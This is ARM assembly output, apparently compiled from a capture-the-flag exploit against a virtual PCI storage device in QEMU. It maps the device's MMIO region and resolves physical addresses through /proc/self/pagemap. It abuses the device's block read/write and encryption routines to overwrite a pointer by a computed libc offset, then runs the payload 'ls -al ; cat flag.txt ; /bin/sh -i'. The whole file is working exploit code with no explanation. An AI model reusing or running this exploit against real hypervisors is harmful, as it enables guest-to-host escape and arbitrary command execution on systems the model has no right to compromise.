	ldr	r3, .L22+4
	ldr	r3, [r3]
	ldr	r1, [fp, #-40]
	mov	r2, #0
	mov	r0, r3
	bl	lseek
	ldr	r3, .L22+4
	ldr	r3, [r3]
	sub	r1, fp, #36
	mov	r2, #8
	mov	r0, r3
	bl	read
	sub	r3, fp, #36
	ldmia	r3, {r2-r3}
	cmp	r2, #0
	sbcs	r3, r3, #0
	blt	.L18
	mvn	r2, #0
	mvn	r3, #0
	b	.L20
.L18:
	sub	r3, fp, #36
	ldmia	r3, {r2-r3}
	mvn	r0, #0
	ldr	r1, .L22+8
	and	r4, r2, r0
	and	r5, r3, r1
	str	r4, [fp, #-28]
	str	r5, [fp, #-24]
	sub	r3, fp, #28
	ldmia	r3, {r2-r3}
.L20:
	ldr	r1, .L22
	ldr	r0, [r1]
	ldr	r1, [fp, #-16]
	eors	r0, r1, r0
	mov	r1, #0
	beq	.L21
	bl	__stack_chk_fail
.L21:
	mov	r0, r2
	mov	r1, r3
	sub	sp, fp, #12
	@ sp needed
	pop	{r4, r5, fp, pc}
.L23:
	.align	2
.L22:
	.word	.LC4
	.word	pagemap_fd
	.word	8388607
	.size	gva_to_gfn, .-gva_to_gfn
	.section	.rodata
	.align	2
.LC5:
	.ascii	"the_stack_data/401942.c\000"
	.align	2
.LC6:
	.ascii	"gfn != -1\000"
	.text
	.align	2
	.global	gva_to_gpa
	.syntax unified
	.arm
	.fpu softvfp
	.type	gva_to_gpa, %function
gva_to_gpa:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, fp, lr}
	add	fp, sp, #20
	sub	sp, sp, #16
	str	r0, [fp, #-32]
	ldr	r0, [fp, #-32]
	bl	gva_to_gfn
	str	r0, [fp, #-28]
	str	r1, [fp, #-24]
	sub	r3, fp, #28
	ldmia	r3, {r2-r3}
	mvn	r0, #0
	mvn	r1, #0
	cmp	r3, r1
	cmpeq	r2, r0
	bne	.L25
	ldr	r3, .L27
	mov	r2, #72
	ldr	r1, .L27+4
	ldr	r0, .L27+8
	bl	__assert_fail
.L25:
	sub	r3, fp, #28
	ldmia	r3, {r2-r3}
	mov	r4, #0
	mov	r5, #0
	lsl	r5, r3, #12
	orr	r5, r5, r2, lsr #20
	lsl	r4, r2, #12
	ldr	r3, [fp, #-32]
	mov	r0, r3
	bl	page_offset
	mov	r3, r0
	mov	r2, r3
	mov	r3, #0
	orr	r6, r4, r2
	orr	r7, r5, r3
	mov	r2, r6
	mov	r3, r7
	mov	r0, r2
	mov	r1, r3
	sub	sp, fp, #20
	@ sp needed
	pop	{r4, r5, r6, r7, fp, pc}
.L28:
	.align	2
.L27:
	.word	__PRETTY_FUNCTION__.6057
	.word	.LC5
	.word	.LC6
	.size	gva_to_gpa, .-gva_to_gpa
	.comm	mmio_mem,4,4
	.align	2
	.global	mmio_write
	.syntax unified
	.arm
	.fpu softvfp
	.type	mmio_write, %function
mmio_write:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	sub	sp, sp, #20
	str	r0, [fp, #-12]
	str	r1, [fp, #-8]
	str	r2, [fp, #-20]
	str	r3, [fp, #-16]
	ldr	r3, .L30
	ldr	r2, [r3]
	ldr	r3, [fp, #-12]
	add	r1, r2, r3
	sub	r3, fp, #20
	ldmia	r3, {r2-r3}
	stm	r1, {r2-r3}
	nop
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
.L31:
	.align	2
.L30:
	.word	mmio_mem
	.size	mmio_write, .-mmio_write
	.align	2
	.global	mmio_read
	.syntax unified
	.arm
	.fpu softvfp
	.type	mmio_read, %function
mmio_read:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	sub	sp, sp, #12
	str	r0, [fp, #-12]
	str	r1, [fp, #-8]
	ldr	r3, .L34
	ldr	r2, [r3]
	ldr	r3, [fp, #-12]
	add	r3, r2, r3
	ldmia	r3, {r2-r3}
	mov	r0, r2
	mov	r1, r3
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
.L35:
	.align	2
.L34:
	.word	mmio_mem
	.size	mmio_read, .-mmio_read
	.comm	global_buf,4096,4096
	.comm	global_buf_pa,8,8
	.align	2
	.global	write_block
	.syntax unified
	.arm
	.fpu softvfp
	.type	write_block, %function
write_block:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	ldr	r2, .L40
	ldr	r3, [fp, #-12]
	mov	r0, r2
	mov	r1, r3
	mov	r3, #4096
	mov	r2, r3
	bl	memcpy
	mov	r2, #1
	mov	r3, #0
	mov	r0, #24
	mov	r1, #0
	bl	mmio_write
	nop
.L37:
	mov	r0, #16
	mov	r1, #0
	bl	mmio_read
	mov	r2, r0
	mov	r3, r1
	cmp	r3, #0
	cmpeq	r2, #1
	bne	.L37
	mov	r2, #2
	mov	r3, #0
	mov	r0, #24
	mov	r1, #0
	bl	mmio_write
	nop
.L38:
	mov	r0, #16
	mov	r1, #0
	bl	mmio_read
	mov	r2, r0
	mov	r3, r1
	cmp	r3, #0
	cmpeq	r2, #3
	bne	.L38
	ldr	r3, [fp, #-8]
	mov	r2, r3
	asr	r3, r2, #31
	mov	r0, #32
	mov	r1, #0
	bl	mmio_write
	ldr	r3, .L40+4
	ldmia	r3, {r2-r3}
	mov	r0, #40
	mov	r1, #0
	bl	mmio_write
	mov	r2, #19
	mov	r3, #0
	mov	r0, #24
	mov	r1, #0
	bl	mmio_write
	nop
.L39:
	mov	r0, #16
	mov	r1, #0
	bl	mmio_read
	mov	r2, r0
	mov	r3, r1
	cmp	r3, #0
	cmpeq	r2, #20
	bne	.L39
	mov	r2, #1
	mov	r3, #0
	mov	r0, #24
	mov	r1, #0
	bl	mmio_write
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L41:
	.align	2
.L40:
	.word	global_buf
	.word	global_buf_pa
	.size	write_block, .-write_block
	.align	2
	.global	read_block
	.syntax unified
	.arm
	.fpu softvfp
	.type	read_block, %function
read_block:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	mov	r2, #4096
	mov	r1, #0
	ldr	r0, .L44
	bl	memset
	mov	r2, #1
	mov	r3, #0
	mov	r0, #24
	mov	r1, #0
	bl	mmio_write
	mov	r2, #2
	mov	r3, #0
	mov	r0, #24
	mov	r1, #0
	bl	mmio_write
	ldr	r3, [fp, #-8]
	mov	r2, r3
	asr	r3, r2, #31
	mov	r0, #32
	mov	r1, #0
	bl	mmio_write
	ldr	r3, .L44+4
	ldmia	r3, {r2-r3}
	mov	r0, #40
	mov	r1, #0
	bl	mmio_write
	mov	r2, #35
	mov	r3, #0
	mov	r0, #24
	mov	r1, #0
	bl	mmio_write
	nop
.L43:
	mov	r0, #16
	mov	r1, #0
	bl	mmio_read
	mov	r2, r0
	mov	r3, r1
	cmp	r3, #0
	cmpeq	r2, #20
	bne	.L43
	ldr	r3, [fp, #-12]
	ldr	r2, .L44
	mov	r0, r3
	mov	r1, r2
	mov	r3, #4096
	mov	r2, r3
	bl	memcpy
	mov	r2, #1
	mov	r3, #0
	mov	r0, #24
	mov	r1, #0
	bl	mmio_write
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L45:
	.align	2
.L44:
	.word	global_buf
	.word	global_buf_pa
	.size	read_block, .-read_block
	.section	.rodata
	.align	2
.LC7:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	storage_internal_encrypt, %function
storage_internal_encrypt:
	@ args = 0, pretend = 0, frame = 64
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, fp, lr}
	add	fp, sp, #28
	sub	sp, sp, #64
	str	r0, [fp, #-72]
	str	r1, [fp, #-76]
	str	r2, [fp, #-80]
	ldr	r3, .L52+8
	ldr	r3, [r3]
	str	r3, [fp, #-32]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-68]
	b	.L47
.L50:
	ldr	r3, [fp, #-68]
	lsl	r3, r3, #4
	ldr	r2, [fp, #-76]
	add	r1, r2, r3
	sub	r3, fp, #60
	mov	r2, #8
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-68]
	lsl	r3, r3, #4
	add	r3, r3, #8
	ldr	r2, [fp, #-76]
	add	r1, r2, r3
	sub	r3, fp, #52
	mov	r2, #8
	mov	r0, r3
	bl	memcpy
	mov	r3, #0
	str	r3, [fp, #-64]
	b	.L48
.L49:
	sub	r3, fp, #52
	ldmia	r3, {r2-r3}
	str	r2, [fp, #-44]
	str	r3, [fp, #-40]
	sub	r1, fp, #52
	ldmia	r1, {r0-r1}
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #7
	orr	r3, r3, r0, lsr #25
	lsl	r2, r0, #7
	adr	r1, .L52
	ldmia	r1, {r0-r1}
	eor	r4, r2, r0
	eor	r5, r3, r1
	sub	r1, fp, #52
	ldmia	r1, {r0-r1}
	mov	r2, #0
	mov	r3, #0
	lsr	r2, r1, #25
	mov	r3, #0
	eor	r8, r2, #57
	mov	r9, r3
	orr	r6, r4, r8
	orr	r7, r5, r9
	sub	r3, fp, #60
	ldmia	r3, {r2-r3}
	eor	r1, r6, r2
	str	r1, [fp, #-92]
	eor	r3, r7, r3
	str	r3, [fp, #-88]
	sub	r3, fp, #92
	ldmia	r3, {r2-r3}
	str	r2, [fp, #-52]
	str	r3, [fp, #-48]
	sub	r3, fp, #44
	ldmia	r3, {r2-r3}
	str	r2, [fp, #-60]
	str	r3, [fp, #-56]
	ldr	r3, [fp, #-64]
	add	r3, r3, #1
	str	r3, [fp, #-64]
.L48:
	ldr	r3, [fp, #-64]
	cmp	r3, #15
	bls	.L49
	ldr	r3, [fp, #-68]
	lsl	r3, r3, #4
	ldr	r2, [fp, #-72]
	add	r3, r2, r3
	sub	r1, fp, #52
	mov	r2, #8
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-68]
	lsl	r3, r3, #4
	add	r3, r3, #8
	ldr	r2, [fp, #-72]
	add	r3, r2, r3
	sub	r1, fp, #60
	mov	r2, #8
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-68]
	add	r3, r3, #1
	str	r3, [fp, #-68]
.L47:
	ldr	r3, [fp, #-80]
	lsr	r3, r3, #4
	ldr	r2, [fp, #-68]
	cmp	r2, r3
	bcc	.L50
	nop
	ldr	r3, .L52+8
	ldr	r2, [r3]
	ldr	r3, [fp, #-32]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L51
	bl	__stack_chk_fail
.L51:
	sub	sp, fp, #28
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, fp, pc}
.L53:
	.align	3
.L52:
	.word	-1204316160
	.word	-1204316103
	.word	.LC7
	.size	storage_internal_encrypt, .-storage_internal_encrypt
	.section	.rodata
	.align	2
.LC8:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	storage_internal_decrypt, %function
storage_internal_decrypt:
	@ args = 0, pretend = 0, frame = 64
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, fp, lr}
	add	fp, sp, #28
	sub	sp, sp, #64
	str	r0, [fp, #-72]
	str	r1, [fp, #-76]
	str	r2, [fp, #-80]
	ldr	r3, .L60+8
	ldr	r3, [r3]
	str	r3, [fp, #-32]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-68]
	b	.L55
.L58:
	ldr	r3, [fp, #-68]
	lsl	r3, r3, #4
	ldr	r2, [fp, #-76]
	add	r1, r2, r3
	sub	r3, fp, #60
	mov	r2, #8
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-68]
	lsl	r3, r3, #4
	add	r3, r3, #8
	ldr	r2, [fp, #-76]
	add	r1, r2, r3
	sub	r3, fp, #52
	mov	r2, #8
	mov	r0, r3
	bl	memcpy
	mov	r3, #0
	str	r3, [fp, #-64]
	b	.L56
.L57:
	sub	r3, fp, #52
	ldmia	r3, {r2-r3}
	str	r2, [fp, #-44]
	str	r3, [fp, #-40]
	sub	r1, fp, #52
	ldmia	r1, {r0-r1}
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #7
	orr	r3, r3, r0, lsr #25
	lsl	r2, r0, #7
	adr	r1, .L60
	ldmia	r1, {r0-r1}
	eor	r4, r2, r0
	eor	r5, r3, r1
	sub	r1, fp, #52
	ldmia	r1, {r0-r1}
	mov	r2, #0
	mov	r3, #0
	lsr	r2, r1, #25
	mov	r3, #0
	eor	r8, r2, #57
	mov	r9, r3
	orr	r6, r4, r8
	orr	r7, r5, r9
	sub	r3, fp, #60
	ldmia	r3, {r2-r3}
	eor	r1, r6, r2
	str	r1, [fp, #-92]
	eor	r3, r7, r3
	str	r3, [fp, #-88]
	sub	r3, fp, #92
	ldmia	r3, {r2-r3}
	str	r2, [fp, #-52]
	str	r3, [fp, #-48]
	sub	r3, fp, #44
	ldmia	r3, {r2-r3}
	str	r2, [fp, #-60]
	str	r3, [fp, #-56]
	ldr	r3, [fp, #-64]
	add	r3, r3, #1
	str	r3, [fp, #-64]
.L56:
	ldr	r3, [fp, #-64]
	cmp	r3, #15
	bls	.L57
	ldr	r3, [fp, #-68]
	lsl	r3, r3, #4
	ldr	r2, [fp, #-72]
	add	r3, r2, r3
	sub	r1, fp, #52
	mov	r2, #8
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-68]
	lsl	r3, r3, #4
	add	r3, r3, #8
	ldr	r2, [fp, #-72]
	add	r3, r2, r3
	sub	r1, fp, #60
	mov	r2, #8
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-68]
	add	r3, r3, #1
	str	r3, [fp, #-68]
.L55:
	ldr	r3, [fp, #-80]
	lsr	r3, r3, #4
	ldr	r2, [fp, #-68]
	cmp	r2, r3
	bcc	.L58
	nop
	ldr	r3, .L60+8
	ldr	r2, [r3]
	ldr	r3, [fp, #-32]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L59
	bl	__stack_chk_fail
.L59:
	sub	sp, fp, #28
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, fp, pc}
.L61:
	.align	3
.L60:
	.word	-1204316160
	.word	-1204316103
	.word	.LC8
	.size	storage_internal_decrypt, .-storage_internal_decrypt
	.section	.rodata
	.align	2
.LC9:
	.ascii	"/proc/self/pagemap\000"
	.align	2
.LC10:
	.ascii	"open\000"
	.align	2
.LC13:
	.ascii	"0x7373\000"
	.align	2
.LC14:
	.ascii	"mmio_fd open failed\000"
	.align	2
.LC15:
	.ascii	"mmap mmio_mem failed\000"
	.align	2
.LC16:
	.ascii	"global_buf_pa: %lx\012\000"
	.align	2
.LC17:
	.ascii	"magic: %lx\012\000"
	.align	2
.LC11:
	.ascii	"/sys/devices/pci0000:00/0000:00:0?.0/resource0\000"
	.align	2
.LC12:
	.ascii	"/sys/devices/pci0000:00/0000:00:0?.0/device\000"
	.align	2
.LC18:
	.ascii	"ls -al ; cat flag.txt ; /bin/sh -i\000\000"
	.space	4060
	.align	2
.LC19:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 8272
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #8256
	sub	sp, sp, #28
	ldr	r3, .L75
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	mov	r1, #0
	ldr	r0, .L75+4
	bl	open
	mov	r3, r0
	ldr	r2, .L75+8
	str	r3, [r2]
	ldr	r3, .L75+8
	ldr	r3, [r3]
	cmp	r3, #0
	bge	.L63
	ldr	r0, .L75+12
	bl	perror
	mov	r0, #1
	bl	exit
.L63:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r2, .L75+16
	sub	ip, r3, #52
	mov	lr, r2
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldm	lr, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2}
	strh	r3, [ip]	@ movhi
	add	ip, ip, #2
	lsr	r3, r3, #16
	strb	r3, [ip]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-76]
	b	.L64
.L69:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r2, .L75+20
	sub	ip, r3, #4
	mov	lr, r2
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldm	lr, {r0, r1, r2}
	stm	ip, {r0, r1, r2}
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-76]
	and	r3, r3, #255
	add	r3, r3, #48
	and	r2, r3, #255
	sub	r3, fp, #4096
	sub	r3, r3, #12
	strb	r2, [r3, #29]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r4, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r1, #0
	mov	r0, r3
	bl	open
	str	r0, [r4, #-72]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-72]
	cmp	r3, #0
	blt	.L74
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #4
	sub	r2, fp, #8192
	sub	r2, r2, #12
	mov	r0, r2
	mov	r2, #6
	mov	r1, r3
	ldr	r0, [r0, #-72]
	bl	read
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, #6
	ldr	r1, .L75+24
	mov	r0, r3
	bl	memcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L67
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-76]
	and	r3, r3, #255
	add	r3, r3, #48
	and	r2, r3, #255
	sub	r3, fp, #8192
	sub	r3, r3, #12
	strb	r2, [r3, #-19]
	b	.L68
.L67:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-76]
	add	r3, r3, #1
	str	r3, [r2, #-76]
.L64:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-76]
	cmp	r3, #9
	ble	.L69
	b	.L68
.L74:
	nop
.L68:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #52
	mov	r0, r3
	bl	puts
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r4, r3
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #52
	ldr	r1, .L75+28
	mov	r0, r3
	bl	open
	str	r0, [r4, #-68]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-68]
	cmn	r3, #1
	bne	.L70
	ldr	r0, .L75+32
	bl	puts
.L70:
	mov	r3, #0
	str	r3, [sp, #4]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-68]
	str	r3, [sp]
	mov	r3, #1
	mov	r2, #3
	mov	r1, #4096
	mov	r0, #0
	bl	mmap
	mov	r3, r0
	ldr	r2, .L75+36
	str	r3, [r2]
	ldr	r3, .L75+36
	ldr	r3, [r3]
	cmn	r3, #1
	bne	.L71
	ldr	r0, .L75+40
	bl	puts
.L71:
	ldr	r3, .L75+44
	mov	r2, #0
	strb	r2, [r3]
	ldr	r0, .L75+44
	bl	gva_to_gpa
	mov	r2, r0
	mov	r3, r1
	ldr	r1, .L75+48
	stm	r1, {r2-r3}
	ldr	r3, .L75+48
	ldmia	r3, {r2-r3}
	ldr	r0, .L75+52
	bl	printf
	mov	r0, #0
	mov	r1, #0
	bl	mmio_read
	mov	r2, r0
	mov	r3, r1
	ldr	r0, .L75+56
	bl	printf
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r4, r3
	ldr	r3, .L75+60
	sub	ip, r4, #4
	mov	lr, r3
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldr	r3, [lr]
	str	r3, [ip]
	add	r3, r4, #32
	ldr	r2, .L75+64
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r1, fp, #8192
	sub	r1, r1, #12
	sub	r1, r1, #4
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, #4096
	mov	r0, r3
	bl	storage_internal_decrypt
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r1, r3
	mov	r0, #0
	bl	write_block
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-4]
	mov	r0, r2
	ldr	r3, .L75+68
	mov	r2, r3
	mov	r1, #0
	bl	memset
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r1, r3
	mov	r0, #256
	bl	read_block
	sub	r1, fp, #4096
	sub	r1, r1, #12
	sub	r1, r1, #4
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, #4096
	mov	r0, r3
	bl	storage_internal_decrypt
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r1, #32
	mov	r0, r3
	bl	dumphex
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	str	r3, [r2, #-64]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	ldr	r3, .L75+72
	str	r3, [r2, #-60]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	ldr	r3, .L75+76
	str	r3, [r2, #-56]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-64]
	add	r3, r3, #4
	ldr	r1, [r3]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r2, [r2, #-60]
	ldr	r3, [r3, #-56]
	sub	r2, r2, r3
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-64]
	add	r3, r3, #4
	add	r2, r1, r2
	str	r2, [r3]
	sub	r1, fp, #4096
	sub	r1, r1, #12
	sub	r1, r1, #4
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, #4096
	mov	r0, r3
	bl	storage_internal_encrypt
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r1, r3
	mov	r0, #256
	bl	write_block
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r1, r3
	mov	r0, #256
	bl	read_block
	mov	r3, #0
	ldr	r2, .L75
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L73
	bl	__stack_chk_fail
.L73:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L76:
	.align	2
.L75:
	.word	.LC19
	.word	.LC9
	.word	pagemap_fd
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	1052674
	.word	.LC14
	.word	mmio_mem
	.word	.LC15
	.word	global_buf
	.word	global_buf_pa
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	4060
	.word	4092
	.word	2855680
	.word	5179616
	.size	main, .-main
	.section	.rodata
	.align	2
	.type	__PRETTY_FUNCTION__.6057, %object
	.size	__PRETTY_FUNCTION__.6057, 11
__PRETTY_FUNCTION__.6057:
	.ascii	"gva_to_gpa\000"
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
